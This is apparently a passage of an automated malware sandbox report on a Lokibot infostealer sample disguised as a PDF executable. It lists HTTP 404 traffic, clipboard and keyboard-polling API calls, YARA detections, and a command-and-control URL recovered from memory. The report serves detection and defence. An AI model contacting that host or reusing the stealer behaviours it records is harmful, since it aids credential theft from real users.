Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 27 May 2024 00:58:29 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lF5KV5IS1q7HgK55d2em%2B1SuSNx%2BurNl2acv23qJqgvHFEs99q4lFT0XqgFhst0ktX51bXq5AtcM3OSMVug6OvYG27Qy7sAWiz8xRRatRYOvDUctUYGd25pO5HCTw%2FM%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 88a20e8fde8dc477-EWRalt-svc: h3=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 27 May 2024 00:58:30 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DUZsXpGkvJhXOWnR%2FMmr5p6L%2Bpm1sVafkm9iE8%2BGimZxCHab7yyy9RmGlcGPPPMTanYHhYnk5sNm4%2FcNB0I%2BDCKm13LfZ48r5I2Mg%2BwJpuNaTFew%2F3A1c1HiHJoZgxY%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 88a20e953e965e74-EWRalt-svc: h3=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 27 May 2024 00:58:31 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9Z7eN%2BPEeV3dT1imJH7WDuqGwuxn1YqtolhzjrpnKME7XtmHbz7Y2oHJm2Ej8SCC4fR2P09z7eBIwKPdE3AeFBeCd7q9qqgxwPHeXMncWo6xcsHZYAO0tHur1sbzVk8%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 88a20e9a6b0e4243-EWRalt-svc: h3=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 27 May 2024 00:58:34 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HEjMcDBmln2qTUu9BsPSNVu0G%2F9nhWpc5RuWCTT9ifjUiKtuc4bYWQ9%2BRy9F5vsvlj5yQP4TFNHplQIbJY3hV2kZOwf0sU%2F%2F7ng%2Bz05%2BMakAJt7Zd23XcG95EmlEpcs%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 88a20eab4a8232d3-EWRalt-svc: h3=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 27 May 2024 00:58:35 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=D7xEcNSw%2FE%2F9jhKIA5YQofXzrClO0Yf6lKn%2Fl9KAuvV0HGqMHhiYh5vT5iWOrHZ1T42spqMy%2BvzZ%2BnEgKv992UKiXZkWJy0EdYDRSczsuBqaDV1FU6561uqJ7l1lYuY%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 88a20eb0ed0d0c9d-EWRalt-svc: h3=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 27 May 2024 00:58:36 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=snwP8lbV%2F5b81sT5iJ1MDBnfE2bTS9twMiocIG8TbXbaaIsN%2FAHxSLwaCi53brol0XDHLn7BQ6aruKM7zM%2FH0YndXsJf4m5yYNKH%2FnYurnAU5wJdQQ0bxkMzD4ECGtE%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 88a20eb66dbe4268-EWRalt-svc: h3=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 27 May 2024 00:58:36 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gt6Q%2BjN4Rjy0m5NE1T5fqOGzKtvzs1Y1fkBoJ45D8pbZOnr0oK4%2FnXgvpLzgcRvkwyNM13d34AU90WKtcJ2UVbBFB2mUnwIwzyAqnGOGh8KHdKg4hu2PXIrX1%2F0Xb%2F8%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 88a20ebbcfa442dd-EWRalt-svc: h3=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 27 May 2024 00:58:37 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9ARHQgbrS7KdW1%2FVvLeIy9r7%2BNWe%2F8eNV09yq6pWxm9VWpk89D9ewWYr0xFzwmlfqdFzY2fN4vQ2QQHsr3Ovuw1LOy0E9%2BlWOrQnv168HPAkOU%2F6hlvnX3onvH4CIU8%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 88a20ec11a057ca0-EWRalt-svc: h3=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 27 May 2024 00:58:38 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VClx3BoTzSNUuKkNiof9qUxpt9dWRN9Yc3QURQrWYku1Or2YRYh9uQ9Il0E8TXzM10TGlof3NQ2retQIDbQy20hkQ8u5LjyJWQ94CfsIwk%2BIVG0lGTHvWv4fVNhbQlM%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 88a20ec71f0f443e-EWRalt-svc: h3=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 27 May 2024 00:58:39 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kHgMRJTfjgcXQkns%2BSdaAwuDmB6TMIiMFfqazj9JmYMxH0rjawxIq9RrKnY16fzKZiSB5K9rB0i5%2Feft5jkwpEEgadZt9s2wBncyX0T8VmgMKJikPcec3N3gDahrlWo%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 88a20ecc4eef7291-EWRalt-svc: h3=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 27 May 2024 00:58:40 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vs0N0ZZtT4z8x2%2B3f38wQQyWCJiXsH6v9HpNERsLDLcqtRwkocIQ4FszrcdZrSSR%2Fi8uPwbjEQerqi9nyQabtqVTtqAyZKSvzzx9rsOeGX%2BBZvmc8V7Vp2%2BKipevTyA%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 88a20ed1dfcd9e16-EWRalt-svc: h3=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 27 May 2024 00:58:41 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=54L3Q6iqBspFEsVFhhHR%2FJqZgWbBPcB4zFgNQtA9a2bUJxWCyDn%2FY4aLHLmi7A%2FF0HdPa2uSlDQH9q9I8M66TncamGEC6dYMJG%2B9AKKxf2QGwFe6dIL%2BTCBth8JLqSw%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 88a20ed72d6c7298-EWRalt-svc: h3=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 27 May 2024 00:58:42 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lo4ILAQqat3pzqd4LY5NIOgY531J5vBnDg1ZlI2dBU%2F5a0RCn9sFWNOKHExXrQx21xLi2uEvd9hyWUudOSjQaHI7vc5%2B8SZVI%2B89njkBhldfrSdArX%2BjLjIBZSqdvng%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 88a20edc79bd7c6f-EWRalt-svc: h3=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 27 May 2024 00:58:43 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3u7%2FZk8IBJJ9IazbZLUj%2Fp8jA952HRoE69B%2FXKMVmibXXmYpK%2F9C9nPW4nZtrWvSM72XuQYJ%2FAxJH95NjouaYAS67kFL%2FksHzKuP7bvRY5WyhEbnmegTsZNf8Fge0%2Fk%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 88a20ee1c9ca19e7-EWRalt-svc: h3=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 27 May 2024 00:58:44 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1J0Ttz8hjmVp99ljW%2B449S0nUdNVvVTtrAPQYX3yIdp1fjj06VuDhfqBGZrg982Ht%2BkWmdCTOUmeqe9F0Sy%2Bb0A7vCTrRTeLrPJPTs%2BVpDCrHIS3QXINFejJrNT6f8c%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 88a20ee82aa441c3-EWRalt-svc: h3=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 27 May 2024 00:58:44 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QEmrBD6TBd78l2ATXBe3jGHal5VMhQlDbOoszKGV5wS0W%2Fyfo4bQ%2FAWxuUWgSETieKl47bq3rD0%2F2RCjLX4hkmycrSAjJ5zEpuJrwEO6Tb6fcJai8VBIFea6eqzNwnE%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 88a20eed7ba717bd-EWRalt-svc: h3=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 27 May 2024 00:58:45 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1cuYCXalpISxlO54XupsOB9bG6T%2B745VKSdHLY4qg4RWI72KTKOSLB9pZ6vChvu%2BHZVX1cO2DJFYV2nBoofHjWl1EpCgYDB1KSYhVjlnlaEIBwOvUvxkiZHnoZ493B0%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 88a20ef2ef143354-EWRalt-svc: h3=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 27 May 2024 00:58:46 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2UX3rtyiadOvJVEbOJjmdHnJC6zTJPEdizuPOdmR%2B%2BxQR%2F4r1vVwNJ6a9Eut0hIVfltQorPEvsAbuwPLzN9J8q9jWlVrtVKb2o5eF7QW2%2B%2Bx7AfGJ3naP87t1s3nolA%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 88a20ef82d9c42fc-EWRalt-svc: h3=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 27 May 2024 00:58:47 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hvrA7LQQQ1sLI6Knx3qLLvgJe0D8L4LnQqMpQujdtauVWWNPzSUG1umfvLA4jwvV9xzN%2FwXD2LuXNkH%2BxQo%2FvzVOWFhTdB6oz7YuA5nvo%2B8aiP%2BkHbem4DLaCKQkYRM%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 88a20efe8aca43f1-EWRalt-svc: h3=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 27 May 2024 00:58:48 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZxUex5rntIMoh34obZ1i3zGZy%2B8%2Bk0mNMZC9FVhR7M2ECKRFpObrMFgOmHvqcAxUifJVmeFCwyWtKVnhfDJakO%2Fg9OKd8R7U59pVJPDSSA3cJuG54OvdM5PaqwhvmUM%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 88a20f044c298c24-EWRalt-svc: h3=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 27 May 2024 00:58:49 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QiIqIE61pZhMt2aHSNkBfG5LZ7%2Fni2G9wWrpuWQqxHVKpD8mB7YAkI9b7pfhNbtIOY4fH2Oy5RLqIKUjK8W%2FZ0eY7Kr%2BHRY7tit3xxWLtmLC0N2shIRvtwfnUBU2YS0%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 88a20f09cbdc5e6e-EWRalt-svc: h3=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 27 May 2024 00:58:51 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JqqVMQly4EgYdqgYN8rjTXUqlG1k6enm4CsCweazFAeaEVxD9vgLytDL1CfUeQBtQ0fr1qPp0rC%2FepaIL6Xwxx3XYhfuRTiG16EGHSrlUJIR4PXNFqqzkgQzbeC0SVg%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 88a20f17d834430a-EWRalt-svc: h3=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 27 May 2024 00:58:52 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ga%2FjSY%2Fgjb6xmGiGcTG%2F4csNPhrSwvjTY5hpbS4ny1yfKULwx%2FVHq9JC%2FZqSQRgdfT3OH2QrzkIUz%2BmCBEM92ZVWHENr7EEDPWht6TJ2v4PnkYRrkkqab3xAW7Jmnmw%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 88a20f1d78e9729e-EWRalt-svc: h3=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 27 May 2024 00:58:53 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xDog6bSYeSYpyQ%2B%2BLxjnxiEwu9M%2BLHS5ybT4CD4Q9zYsHZ5YoX0yI3afJ2WKSF3gbI8nH3CzZTz1b3bXOzcWQroJB%2BTsbXzXLzHTt5dDbpkew8m%2Bofm4UXyJWbDWl2k%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 88a20f233d4941a3-EWRalt-svc: h3=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 27 May 2024 00:58:54 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NYLFmuh0fiRoxX52mFrQL4smkcDSsjOvTwBgUbi5qpob0LWL64CBDeOz%2B3QybgrlLDhcsgEmFEqN29vfP0d4utPYWjH2vIEyCWnWmE5g7XWpzbldIlohZqBJ1bYv5WI%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 88a20f28887fc3fa-EWRalt-svc: h3=":443"; ma=86400Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Source: svchost.exe, svchost.exe, 00000002.00000002.3212806691.0000000000400000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.ibsensoftware.com/
Source: svchost.exe, 00000002.00000002.3212806691.000000000049F000.00000040.80000000.00040000.00000000.sdmp, svchost.exe, 00000002.00000002.3213312503.0000000003212000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://edgewell.cam/DV2/PWS/fre.php
Source: svchost.exe, 00000002.00000002.3213312503.0000000003212000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://edgewell.cam/DV2/PWS/fre.phpC:

Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe

Code function: 0_2_000F425A OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

0_2_000F425A

Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe

Code function: 0_2_000F4458 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_000F4458

Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe

0_2_000F425A

Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe

Code function: 0_2_000E0219 GetKeyboardState,GetAsyncKeyState,GetKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,

0_2_000E0219

Source: C:\Users\user\Desktop\MV XH DOLPHINPDF.exe

Code function: 0_2_0010CDAC DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

0_2_0010CDAC

System Summary

Malicious sample detected (through community Yara rule)

Source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 0.2.MV XH DOLPHINPDF.exe.1df0000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 0.2.MV XH DOLPHINPDF.exe.1df0000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 0.2.MV XH DOLPHINPDF.exe.1df0000.1.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 0.2.MV XH DOLPHINPDF.exe.1df0000.1.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 0.2.MV XH DOLPHINPDF.exe.1df0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 0.2.MV XH DOLPHINPDF.exe.1df0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 0.2.MV XH DOLPHINPDF.exe.1df0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 0.2.MV XH DOLPHINPDF.exe.1df0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 0.2.MV XH DOLPHINPDF.exe.1df0000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Loki Payload Author: kevoreilly
Source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 00000000.00000002.1991563403.0000000001DF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 00000000.00000002.1991563403.0000000001DF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 00000000.00000002.1991563403.0000000001DF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Loki Payload Author: kevoreilly
Source: 00000000.00000002.1991563403.0000000001DF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Lokibot in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.1991563403.0000000001DF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 00000002.00000002.3212806691.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_1f885282 Author: unknown
Source: 00000002.00000002.3212806691.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_0f421617 Author: unknown
Source: 00000002.00000002.3212806691.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Loki Payload Author: kevoreilly
